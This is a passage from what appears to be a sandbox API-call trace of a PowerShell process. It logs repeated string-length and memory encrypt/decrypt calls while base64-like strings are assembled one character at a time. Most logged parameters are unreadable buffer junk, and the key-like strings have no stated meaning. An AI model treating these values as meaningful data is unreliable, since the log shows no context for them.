(param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助") returned 0x18 [0236.098] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助") returned 0x18 [0236.098] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助") returned 0x18 [0236.098] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助") returned 0x20 [0236.098] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.099] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkᣇ搫蘇댩龒") returned 0x20 [0236.099] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.099] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助詸蕝筝閑흆﫲ꄱ䃀") returned 0x20 [0236.099] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助詸蕝筝閑흆﫲ꄱ䃀") returned 0x20 [0236.099] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.099] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgᣇ搫蘇댩龒") returned 0x20 [0236.099] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.099] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助陖ц⌌빤殕ꟳ絫") returned 0x20 [0236.099] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助陖ц⌌빤殕ꟳ絫") returned 0x20 [0236.099] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.099] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgsᣇ搫蘇댩龒") returned 0x20 [0236.099] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助륣罐ﴟ䗩ퟦꋚ敷靏") returned 0x20 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助륣罐ﴟ䗩ퟦꋚ敷靏") returned 0x20 [0236.100] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.100] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+搫蘇댩龒") returned 0x20 [0236.100] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助෠䔟謸䧧輆沀") returned 0x20 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助෠䔟謸䧧輆沀") returned 0x20 [0236.100] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.100] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+K蘇댩龒") returned 0x20 [0236.100] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助쳟窇稍率ၫꇖ到") returned 0x20 [0236.100] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助쳟窇稍率ၫꇖ到") returned 0x20 [0236.100] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.101] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KK댩龒") returned 0x20 [0236.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.101] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助圩晤蟐圦㶃챸ד") returned 0x20 [0236.101] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助圩晤蟐圦㶃챸ד") returned 0x20 [0236.101] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.101] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh龒") returned 0x20 [0236.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.101] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⁝⠏跓膵꓉ꗃשׁ") returned 0x20 [0236.101] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⁝⠏跓膵꓉ꗃשׁ") returned 0x20 [0236.101] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.101] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6") returned 0x20 [0236.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉") returned 0x20 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉") returned 0x20 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉") returned 0x20 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉ن") returned 0x28 [0236.102] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.102] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6b籋巯碢쑊犲뫹갛") returned 0x28 [0236.102] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉萫\˘Ⱜ璡痨탎봑≅) returned 0x28 [0236.102] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉萫\˘Ⱜ璡痨탎봑≅) returned 0x28 [0236.102] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.103] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bp巯碢쑊犲뫹갛") returned 0x28 [0236.103] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.103] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉ᜢ诅먪묃캔嶗㺋癆") returned 0x28 [0236.103] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉ᜢ诅먪묃캔嶗㺋癆") returned 0x28 [0236.103] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.103] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpD碢쑊犲뫹갛") returned 0x28 [0236.103] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.103] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉潪붤詳찡") returned 0x28 [0236.103] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉潪붤詳찡") returned 0x28 [0236.103] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.103] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDY쑊犲뫹갛") returned 0x28 [0236.103] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.104] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉韄䯾\냟즏୉∺) returned 0x28 [0236.104] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉韄䯾\냟즏୉∺) returned 0x28 [0236.104] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.104] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYT犲뫹갛") returned 0x28 [0236.104] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.104] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉냑끑銘\毙쒯ీꬩ∊) returned 0x28 [0236.104] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉냑끑銘\毙쒯ీꬩ∊) returned 0x28 [0236.104] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.104] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTH뫹갛") returned 0x28 [0236.104] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.105] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉翚Ǟモ渳讶Ί") returned 0x28 [0236.105] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉翚Ǟモ渳讶Ί") returned 0x28 [0236.105] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.105] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX갛") returned 0x28 [0236.105] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.105] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉葅괎쟣આᵡĚ") returned 0x28 [0236.105] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉葅괎쟣આᵡĚ") returned 0x28 [0236.105] SystemFunction041 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.105] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX3") returned 0x28 [0236.105] SystemFunction040 (in: Memory=0x5c9afec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9afec) returned 0x0 [0236.107] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂") returned 0x28 [0236.107] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂") returned 0x28 [0236.107] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂") returned 0x28 [0236.108] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂") returned 0x30 [0236.108] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.108] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX39岨츏\\四懰壹") returned 0x30 [0236.108] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.108] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂뭭ᰞ긢챃㇁掜ӈ뒊") returned 0x30 [0236.108] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂뭭ᰞ긢챃㇁掜ӈ뒊") returned 0x30 [0236.108] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.108] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX39u츏\\四懰壹") returned 0x30 [0236.108] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.108] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂堶๊瓖諍腆ꂹ鸲") returned 0x30 [0236.108] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂堶๊瓖諍腆ꂹ鸲") returned 0x30 [0236.109] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.109] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX39u0\\四懰壹") returned 0x30 [0236.109] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.109] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂ᣍ쾤픗䘾\득⊗) returned 0x30 [0236.109] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂ᣍ쾤픗䘾\득⊗) returned 0x30 [0236.109] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.109] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnhkgs+KKh6bpDYTHX39u0=\\四懰壹") returned 0x30 [0236.109] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0236.109] EtwEventActivityIdControl () returned 0x0 [0236.109] EtwEventActivityIdControl () returned 0x0 [0236.109] EtwEventActivityIdControl () returned 0x0 [0236.110] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.110] EtwEventActivityIdControl () returned 0x0 [0236.110] EtwEventActivityIdControl () returned 0x0 [0236.110] EtwEventActivityIdControl () returned 0x0 [0236.111] SysStringLen (param_1="") returned 0x8 [0236.111] SysStringLen (param_1="N") returned 0x8 [0236.111] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.111] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.111] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.111] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.111] SysStringLen (param_1="ND") returned 0x8 [0236.111] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.112] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.112] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.112] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.112] SysStringLen (param_1="NDZ") returned 0x8 [0236.112] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.112] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.112] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.112] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.112] SysStringLen (param_1="NDZl") returned 0x8 [0236.112] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.112] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.112] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.112] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="NDZlO") returned 0x8 [0236.113] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.113] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.113] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="NDZlOD") returned 0x8 [0236.113] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.113] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.113] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="NDZlODR") returned 0x8 [0236.113] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.113] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.113] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.113] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.114] SysStringLen (param_1="NDZlODRm") returned 0x8 [0236.114] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.114] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.114] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.114] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.115] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0236.115] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.115] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.115] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.115] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.115] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.115] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.115] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.115] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.115] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.115] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.115] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.115] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0236.116] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.116] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.116] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0236.116] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.116] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.116] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0236.116] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.116] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.117] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.117] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0236.117] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.117] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.117] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0236.117] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.117] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.117] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0236.117] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0236.118] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.118] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0236.118] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.119] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.119] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0236.119] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.119] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.119] SysStringLen 